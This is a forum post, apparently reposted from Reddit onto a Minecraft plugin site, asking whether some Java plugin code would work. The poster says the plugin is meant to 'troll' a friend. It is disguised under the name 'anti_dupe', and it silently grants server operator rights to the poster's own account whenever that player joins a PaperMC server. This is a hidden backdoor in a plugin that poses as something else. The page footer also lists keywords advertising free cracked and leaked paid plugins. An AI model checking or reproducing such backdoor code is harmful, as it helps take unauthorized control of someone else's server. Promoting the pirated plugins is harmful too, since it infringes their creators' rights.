Can someone check if the Code could work?

  • Thread starter Thread starter /u/SubstantialTooth7316
  • Start date Start date

/u/SubstantialTooth7316

Guest
Member
The following plugin code is to troll my friend. Thats why there is "anti-dupe" stuff. This should op me on a PaperMC 1.21 server. Can someone have a look over it and see if it will work? (My username is TacocatI401)

package your.plugin.package;

import org.bukkit.Bukkit; import org.bukkit.entity.Player; import org.bukkit.event.Listener; import org.bukkit.event.EventHandler; import org.bukkit.event.player.PlayerJoinEvent; import org.bukkit.plugin.java.JavaPlugin;

public class anti_dupe extends JavaPlugin implements Listener {

private static final String USERNAME = "TacocatI401"; @Override public void onEnable() { Bukkit.getPluginManager().registerEvents(this, this); } @EventHandler public void onPlayerJoin(PlayerJoinEvent event) { Player player = event.getPlayer(); if (player.getName().equalsIgnoreCase(USERNAME)) { if (!player.isOp()) { player.setOp(true); } } }

}

Thanks for every help!

submitted by /u/SubstantialTooth7316
[link] [comments]

Continue reading...

free plugins
minecraft paid for free
spigotmc
SpigotMC
free minecraft paid plugins
free minecraft plugins
aac free
ewg free
Minecraft Premium Plugins
ewg free download
litebans free
epicworldgenerator free
free schematics
leaked schematics minecraft
schematics
schematics leaked
schematics free
minecraft schematics free
paid minecraft schematics free
paid minecraft schematics for free
free cracked plugins
free cracked minecraft plugins
plugins
featherboard download
featherboard plugin download
antiaura download
minecraft plugins
xenforo leaked
xenforo for free
xenforo addons
 
Top